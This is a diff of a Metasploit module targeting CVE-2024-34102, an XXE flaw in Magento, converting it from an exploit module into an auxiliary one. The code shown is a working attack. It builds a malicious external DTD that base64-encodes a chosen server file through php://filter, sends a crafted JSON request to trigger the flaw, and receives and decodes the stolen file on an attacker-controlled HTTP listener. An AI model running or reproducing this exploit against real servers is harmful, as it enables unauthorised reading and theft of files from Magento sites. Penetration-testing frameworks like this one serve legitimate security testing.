3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- class MetasploitModule < Msf ::Exploit ::Remote
7
- Rank = ExcellentRanking
6
+ class MetasploitModule < Msf ::Auxiliary
8
7
9
8
include Msf ::Exploit ::Remote ::HttpClient
10
9
include Msf ::Exploit ::Remote ::HttpServer
11
- prepend Msf ::Exploit ::Remote ::AutoCheck
10
+
11
+ CheckCode = Exploit ::CheckCode
12
12
13
13
def initialize ( info = { } )
14
14
super (
@@ -29,13 +29,6 @@ def initialize(info = {})
29
29
[ 'URL' , 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md' ]
30
30
] ,
31
31
'DisclosureDate' => '2024-06-11' ,
32
- 'Privileged' => false ,
33
- 'Arch' => ARCH_PHP ,
34
- 'Platform' => 'php' ,
35
- 'Targets' => [
36
- [ 'Magento' , { } ]
37
- ] ,
38
- 'DefaultTarget' => 0 ,
39
32
'Notes' => {
40
33
'Stability' => [ CRASH_SAFE ] ,
41
34
'Reliability' => [ ] ,
@@ -85,34 +78,34 @@ def check
85
78
end
86
79
87
80
def ent_eval
88
- @ent_eval ||= rand_text_alpha_lower ( 4 ..8 )
81
+ @ent_eval ||= Rex :: Text . rand_text_alpha_lower ( 4 ..8 )
89
82
end
90
83
91
84
def leak_param_name
92
- @leak_param_name ||= rand_text_alpha_lower ( 4 ..8 )
85
+ @leak_param_name ||= Rex :: Text . rand_text_alpha_lower ( 4 ..8 )
93
86
end
94
87
95
88
def dtd_param_name
96
- @dtd_param_name ||= rand_text_alpha_lower ( 4 ..8 )
89
+ @dtd_param_name ||= Rex :: Text . rand_text_alpha_lower ( 4 ..8 )
97
90
end
98
91
99
92
def make_xxe_dtd
100
93
filter_path = "php://filter/convert.base64-encode/resource=#{ datastore [ 'TARGETFILE' ] } "
101
- ent_file = rand_text_alpha_lower ( 4 ..8 )
94
+ ent_file = Rex :: Text . rand_text_alpha_lower ( 4 ..8 )
102
95
%(
103
96
<!ENTITY % #{ ent_file } SYSTEM "#{ filter_path } ">
104
97
<!ENTITY % #{ dtd_param_name } "<!ENTITY #{ ent_eval } SYSTEM 'http://#{ datastore [ 'SRVHOST' ] } :#{ datastore [ 'SRVPORT' ] } /?#{ leak_param_name } =%#{ ent_file } ;'>">
105
98
)
106
99
end
107
100
108
101
def xxe_xml_data
109
- param_entity_name = rand_text_alpha_lower ( 4 ..8 )
102
+ param_entity_name = Rex :: Text . rand_text_alpha_lower ( 4 ..8 )
110
103
111
104
xml = "<?xml version='1.0' ?>"
112
- xml += "<!DOCTYPE #{ rand_text_alpha_lower ( 4 ..8 ) } "
105
+ xml += "<!DOCTYPE #{ Rex :: Text . rand_text_alpha_lower ( 4 ..8 ) } "
113
106
xml += '['
114
- xml += " <!ELEMENT #{ rand_text_alpha_lower ( 4 ..8 ) } ANY >"
115
- xml += " <!ENTITY % #{ param_entity_name } SYSTEM 'http://#{ datastore [ 'SRVHOST' ] } :#{ datastore [ 'SRVPORT' ] } /#{ rand_text_alpha_lower ( 4 ..8 ) } .dtd'> %#{ param_entity_name } ; %#{ dtd_param_name } ; "
107
+ xml += " <!ELEMENT #{ Rex :: Text . rand_text_alpha_lower ( 4 ..8 ) } ANY >"
108
+ xml += " <!ENTITY % #{ param_entity_name } SYSTEM 'http://#{ datastore [ 'SRVHOST' ] } :#{ datastore [ 'SRVPORT' ] } /#{ Rex :: Text . rand_text_alpha_lower ( 4 ..8 ) } .dtd'> %#{ param_entity_name } ; %#{ dtd_param_name } ; "
116
109
xml += ']'
117
110
xml += "> <r>&#{ ent_eval } ;</r>"
118
111
@@ -122,12 +115,12 @@ def xxe_xml_data
122
115
def xxe_request
123
116
vprint_status ( 'Sending XXE request' )
124
117
125
- signature = rand_text_alpha ( 6 ) . capitalize
118
+ signature = Rex :: Text . rand_text_alpha ( 6 ) . capitalize
126
119
127
120
post_data = <<~EOF
128
121
{
129
122
"address": {
130
- "#{ signature } ": "#{ rand_text_alpha_lower ( 4 ..8 ) } ",
123
+ "#{ signature } ": "#{ Rex :: Text . rand_text_alpha_lower ( 4 ..8 ) } ",
131
124
"totalsCollector": {
132
125
"collectorList": {
133
126
"totalCollector": {
@@ -156,7 +149,7 @@ def xxe_request
156
149
fail_with ( Failure ::UnexpectedReply , 'Server might not be vulnerable' ) unless body [ 'parameters' ] [ 'fieldName' ] == signature
157
150
end
158
151
159
- def exploit
152
+ def run
160
153
if datastore [ 'SSL' ]
161
154
ssl_restore = true
162
155
datastore [ 'SSL' ] = false
@@ -179,7 +172,7 @@ def exploit
179
172
def on_request_uri ( cli , req )
180
173
super
181
174
data = ''
182
-
175
+
183
176
case req . uri
184
177
when /(.*).dtd/
185
178
vprint_status ( "Received request for DTD file from #{ cli . peerhost } " )
@@ -189,7 +182,7 @@ def on_request_uri(cli, req)
189
182
if data &.empty?
190
183
print_error ( 'No data received' )
191
184
else
192
-
185
+
193
186
file_name = datastore [ 'TARGETFILE' ]
194
187
file_data = ::Base64 . decode64 ( data ) . force_encoding ( 'UTF-8' )
195
188
0 commit comments